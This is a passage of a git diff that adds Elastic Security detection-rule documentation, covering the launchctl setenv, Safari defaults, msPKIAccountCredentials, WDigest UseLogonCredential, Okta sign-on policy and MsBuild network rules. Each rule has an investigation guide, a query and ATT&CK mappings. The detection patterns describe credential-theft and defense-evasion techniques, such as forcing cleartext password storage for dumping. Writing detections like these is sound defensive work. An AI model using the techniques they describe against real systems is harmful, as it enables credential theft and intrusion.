https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc new file mode 100644 index 0000000000..f4c1681591 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-environment-variable-via-unsigned-or-untrusted-parent.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-modification-of-environment-variable-via-unsigned-or-untrusted-parent]] +=== Modification of Environment Variable via Unsigned or Untrusted Parent + +Identifies modifications to an environment variable using the built-in launchctl command. Adversaries may execute their own malicious payloads by hijacking certain environment variables to load arbitrary libraries or bypass certain restrictions. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master//modules/post/osx/escalate/tccbypass.rb + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of Environment Variable via Unsigned or Untrusted Parent* + + +Environment variables in macOS are crucial for configuring system and application behavior. Adversaries may exploit these by using the `launchctl` command to alter variables, enabling malicious payload execution or bypassing restrictions. The detection rule identifies suspicious modifications initiated by untrusted or unsigned parent processes, focusing on atypical environment variables and excluding known safe executables, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process tree to identify the parent process of the `launchctl` command, focusing on whether the parent process is unsigned or untrusted, as indicated by the absence or lack of trust in the `process.parent.code_signature`. +- Examine the command-line arguments used with `launchctl`, specifically looking for the `setenv` command and any unusual or suspicious environment variables that are not part of the known safe list (e.g., ANT_HOME, DBUS_LAUNCHD_SESSION_BUS_SOCKET). +- Check the execution path of the parent process to determine if it matches any known safe executables, such as those listed in the exclusion criteria (e.g., /Applications/IntelliJ IDEA CE.app/Contents/jbr/Contents/Home/lib/jspawnhelper). +- Investigate the user account under which the `launchctl` command was executed to determine if it aligns with expected behavior or if it might indicate a compromised account. +- Correlate this event with other security alerts or logs from the same host to identify any patterns or additional indicators of compromise that might suggest a broader attack or intrusion attempt. + + +*False positive analysis* + + +- Development tools like IntelliJ IDEA may trigger false positives when using the jspawnhelper executable. To mitigate this, add the executable path to the exclusion list if it is a known and trusted application in your environment. +- NoMachine software can cause false positives due to its use of nxserver.bin. If this software is regularly used and trusted, consider excluding its executable path from the detection rule. +- The kr tool located at /usr/local/bin/kr might be flagged as a false positive. If this tool is part of your standard operations, ensure its path is excluded to prevent unnecessary alerts. +- Review any other unsigned or untrusted parent processes that are part of legitimate software installations or operations. If they are verified as safe, add them to the exclusion list to reduce false positives. +- Regularly update the list of known safe executables and environment variables to reflect changes in your software inventory, ensuring that legitimate processes are not mistakenly flagged. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further exploitation. +- Terminate any suspicious processes associated with the untrusted or unsigned parent process that initiated the `launchctl` command to halt any ongoing malicious activity. +- Conduct a thorough review of the environment variables modified by the `launchctl` command to identify any unauthorized changes and revert them to their original state. +- Analyze the parent process that triggered the alert to determine its origin and purpose, and remove any malicious or unauthorized software identified during this analysis. +- Restore the system from a known good backup if any critical system components or configurations have been compromised. +- Implement additional monitoring and logging for `launchctl` usage and environment variable modifications to detect similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "launchctl" and + (process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false) and + process.args == "setenv" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Sub-technique: +** Name: Path Interception by PATH Environment Variable +** ID: T1574.007 +** Reference URL: https://attack.mitre.org/techniques/T1574/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-safari-settings-via-defaults-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-safari-settings-via-defaults-command.asciidoc new file mode 100644 index 0000000000..5d900a4cd4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-safari-settings-via-defaults-command.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-modification-of-safari-settings-via-defaults-command]] +=== Modification of Safari Settings via Defaults Command + +Identifies changes to the Safari configuration using the built-in defaults command. Adversaries may attempt to enable or disable certain Safari settings, such as enabling JavaScript from Apple Events to ease in the hijacking of the users browser. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objectivebythesea.com/v2/talks/OBTS_v2_Zohar.pdf + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of Safari Settings via Defaults Command* + + +The 'defaults' command in macOS is a utility that allows users to read, write, and manage macOS application preferences, including Safari settings. Adversaries may exploit this command to alter Safari configurations, potentially enabling harmful features like JavaScript from Apple Events, which can facilitate browser hijacking. The detection rule monitors for suspicious 'defaults' command usage targeting Safari settings, excluding benign preference changes, to identify potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the 'defaults' command with arguments targeting Safari settings, specifically looking for any suspicious or unauthorized changes. +- Check the user account associated with the process execution to determine if the action was performed by a legitimate user or an unauthorized entity. +- Investigate the system's recent activity logs to identify any other unusual or suspicious behavior around the time the 'defaults' command was executed. +- Examine the Safari settings before and after the change to assess the impact and identify any potentially harmful configurations, such as enabling JavaScript from Apple Events. +- Correlate the event with other security alerts or incidents to determine if this action is part of a broader attack or compromise attempt. + + +*False positive analysis* + + +- Changes to Safari settings for legitimate user preferences can trigger alerts, such as enabling or disabling search suggestions. Users can create exceptions for these specific settings by excluding them from the detection rule. +- System administrators may use the defaults command to configure Safari settings across multiple devices for compliance or user experience improvements. These actions can be whitelisted by identifying the specific process arguments used in these administrative tasks. +- Automated scripts or management tools that adjust Safari settings as part of routine maintenance or updates may cause false positives. Users should identify these scripts and exclude their specific process arguments from the detection rule. +- Developers testing Safari configurations might frequently change settings using the defaults command. Excluding known developer machines or user accounts from the rule can help reduce false positives. +- Educational or training environments where users are instructed to modify Safari settings for learning purposes can lead to alerts. Identifying and excluding these environments or sessions can mitigate unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further malicious activity or data exfiltration. +- Terminate any suspicious processes related to the 'defaults' command that are currently running on the affected device. +- Revert any unauthorized changes made to Safari settings by restoring them to their default or previously known safe state. +- Conduct a thorough scan of the affected device using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or malicious scripts. +- Review and update the device's security settings to prevent unauthorized changes, including disabling unnecessary Apple Events and restricting the use of the 'defaults' command to authorized personnel only. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other devices in the network are affected. +- Implement enhanced monitoring and alerting for similar 'defaults' command usage across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "defaults" and process.args like~ "write" and + process.command_line like~ "*com.apple.Safari*" and + process.command_line like~ ("*IncludeDevelopMenu*", "*JavaScript*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Technique: +** Name: Plist File Modification +** ID: T1647 +** Reference URL: https://attack.mitre.org/techniques/T1647/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-the-mspkiaccountcredentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-the-mspkiaccountcredentials.asciidoc new file mode 100644 index 0000000000..ace1589369 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-the-mspkiaccountcredentials.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-20-modification-of-the-mspkiaccountcredentials]] +=== Modification of the msPKIAccountCredentials + +Identify the modification of the msPKIAccountCredentials attribute in an Active Directory User Object. Attackers can abuse the credentials roaming feature to overwrite an arbitrary file for privilege escalation. ms-PKI-AccountCredentials contains binary large objects (BLOBs) of encrypted credential objects from the credential manager store, private keys, certificates, and certificate requests. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming +* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Data Source: Active Directory +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification of the msPKIAccountCredentials* + + +The msPKIAccountCredentials attribute in Active Directory stores encrypted credential data, including private keys and certificates. Adversaries may exploit this by altering the attribute to escalate privileges, potentially overwriting files. The detection rule identifies such modifications by monitoring specific directory service events, focusing on changes to this attribute, excluding actions by the system account, thus highlighting unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the event logs for the specific event code 5136 to gather details about the modification event, including the timestamp and the user account involved. +- Examine the winlog.event_data.SubjectUserSid field to identify the user who attempted the modification, ensuring it is not the system account (S-1-5-18). +- Investigate the history and behavior of the identified user account to determine if there are any previous suspicious activities or anomalies. +- Check for any recent changes or anomalies in the affected Active Directory User Object, focusing on the msPKIAccountCredentials attribute. +- Assess the potential impact of the modification by identifying any files or systems that may have been affected by the altered credentials. +- Correlate this event with other security alerts or logs to identify any patterns or coordinated activities that might indicate a broader attack. + + +*False positive analysis* + + +- Routine administrative tasks by IT personnel may trigger the rule. To manage this, create exceptions for specific user accounts or groups known to perform these tasks regularly. +- Scheduled maintenance scripts or automated processes that modify Active Directory attributes could be mistaken for unauthorized changes. Identify these processes and exclude their associated user accounts or service accounts from the rule. +- Software updates or installations that require changes to user credentials might cause false positives. Document these events and adjust the rule to ignore modifications during known update windows. +- Legitimate changes made by third-party applications integrated with Active Directory can be flagged. Review and whitelist these applications by excluding their associated user accounts or service accounts. +- Temporary changes during incident response or security audits may appear suspicious. Coordinate with security teams to ensure these activities are recognized and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Revoke any potentially compromised certificates and private keys associated with the affected msPKIAccountCredentials attribute to prevent misuse. +- Conduct a thorough review of recent changes in Active Directory, focusing on the msPKIAccountCredentials attribute, to identify any unauthorized modifications or access patterns. +- Reset passwords and regenerate keys for any accounts or services that may have been affected to ensure that compromised credentials are no longer valid. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activity or attempts to exploit similar vulnerabilities. +- Review and update access controls and permissions in Active Directory to ensure that only authorized personnel have the ability to modify sensitive attributes like msPKIAccountCredentials. + +==== Setup + + + +*Setup* + + +The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msPKIAccountCredentials" and + winlog.event_data.OperationType:"%%14674" and + not winlog.event_data.SubjectUserSid : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-wdigest-security-provider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-wdigest-security-provider.asciidoc new file mode 100644 index 0000000000..a0c301f89b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-of-wdigest-security-provider.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-modification-of-wdigest-security-provider]] +=== Modification of WDigest Security Provider + +Identifies attempts to modify the WDigest security provider in the registry to force the user's password to be stored in clear text in memory. This behavior can be indicative of an adversary attempting to weaken the security configuration of an endpoint. Once the UseLogonCredential value is modified, the adversary may attempt to dump clear text passwords from memory. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.csoonline.com/article/3438824/how-to-detect-and-halt-credential-theft-via-windows-wdigest.html +* https://www.praetorian.com/blog/mitigating-mimikatz-wdigest-cleartext-credential-theft?edition=2019 +* https://frsecure.com/compromised-credentials-response-playbook +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Modification of WDigest Security Provider* + + +In Windows XP, Microsoft added support for a protocol known as WDigest. The WDigest protocol allows clients to send cleartext credentials to Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) applications based on RFC 2617 and 2831. Windows versions up to 8 and 2012 store logon credentials in memory in plaintext by default, which is no longer the case with newer Windows versions. + +Still, attackers can force WDigest to store the passwords insecurely on the memory by modifying the `HKLM\SYSTEM\*ControlSet*\Control\SecurityProviders\WDigest\UseLogonCredential` registry key. This activity is commonly related to the execution of credential dumping tools. + + +*Possible investigation steps* + + +- It is unlikely that the monitored registry key was modified legitimately in newer versions of Windows. Analysts should treat any activity triggered from this rule with high priority as it typically represents an active adversary. +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Determine if credential dumping tools were run on the host, and retrieve and analyze suspicious executables: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Use process name, command line, and file hash to search for occurrences on other hosts. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This modification should not happen legitimately. Any potential benign true positive (B-TP) should be mapped and monitored by the security team, as these modifications expose the entire domain to credential compromises and consequently unauthorized access. + + +*Related rules* + + +- Mimikatz Powershell Module Activity - ac96ceb8-4399-4191-af1d-4feeac1f1f46 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Reimage the host operating system and restore compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type in ("creation", "change") and + registry.value : "UseLogonCredential" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Control\\SecurityProviders\\WDigest\\UseLogonCredential" and + registry.data.strings : ("1", "0x00000001") and + not (process.executable : "?:\\Windows\\System32\\svchost.exe" and user.id : "S-1-5-18") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc new file mode 100644 index 0000000000..cdcbded681 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-modification-or-removal-of-an-okta-application-sign-on-policy.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-modification-or-removal-of-an-okta-application-sign-on-policy]] +=== Modification or Removal of an Okta Application Sign-On Policy + +Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://help.okta.com/en/prod/Content/Topics/Security/App_Based_Signon.htm +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide + +*Version*: 414 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Modification or Removal of an Okta Application Sign-On Policy* + + +Okta's sign-on policies are crucial for enforcing authentication controls within an organization. Adversaries may target these policies to weaken security by modifying or removing them, thus bypassing authentication measures. The detection rule monitors system events for updates or deletions of sign-on policies, flagging potential unauthorized changes to maintain security integrity. + + +*Possible investigation steps* + + +- Review the event logs for entries with the dataset field set to okta.system to confirm the source of the alert. +- Examine the event.action field for values application.policy.sign_on.update or application.policy.sign_on.rule.delete to identify the specific action taken. +- Identify the user or system account associated with the event to determine if the action was performed by an authorized individual. +- Check the timestamp of the event to correlate with any other suspicious activities or changes in the system around the same time. +- Investigate the history of changes to the affected sign-on policy to understand the context and frequency of modifications or deletions. +- Assess the impact of the policy change on the organization's security posture and determine if any immediate remediation is necessary. +- If unauthorized activity is suspected, initiate a security incident response to contain and mitigate potential threats. + + +*False positive analysis* + + +- Routine administrative updates to sign-on policies by authorized personnel can trigger alerts. To manage this, establish a list of trusted users or roles and create exceptions for their actions. +- Scheduled maintenance or policy reviews may involve legitimate modifications or deletions. Document these activities and adjust the detection rule to exclude events during known maintenance windows. +- Automated scripts or tools used for policy management might cause false positives. Identify these tools and configure the rule to recognize and exclude their expected actions. +- Changes due to integration with third-party applications can be mistaken for unauthorized modifications. Verify these integrations and whitelist their associated actions to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Okta application to prevent further unauthorized access or changes. This can be done by disabling the application temporarily until the issue is resolved. +- Review the audit logs to identify the source of the modification or deletion attempt, focusing on the user account and IP address associated with the event. +- Revert any unauthorized changes to the sign-on policy by restoring it to the last known good configuration. Ensure that all security controls are reinstated. +- Conduct a thorough review of user accounts with administrative privileges in Okta to ensure they are legitimate and have not been compromised. Reset passwords and enforce multi-factor authentication (MFA) for these accounts. +- Notify the security team and relevant stakeholders about the incident, providing details of the attempted policy modification or deletion and the steps taken to contain the threat. +- Escalate the incident to higher-level security management if the source of the threat is internal or if there is evidence of a broader compromise. +- Implement additional monitoring and alerting for any future attempts to modify or delete sign-on policies, ensuring that similar threats are detected and addressed promptly. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:okta.system and event.action:(application.policy.sign_on.update or application.policy.sign_on.rule.delete) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-msbuild-making-network-connections.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-msbuild-making-network-connections.asciidoc new file mode 100644 index 0000000000..6dc749aa3d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-msbuild-making-network-connections.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-msbuild-making-network-connections]] +=== MsBuild Making Network Connections + +Identifies MsBuild.exe making outbound network connections. This may indicate adversarial activity as MsBuild is often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* 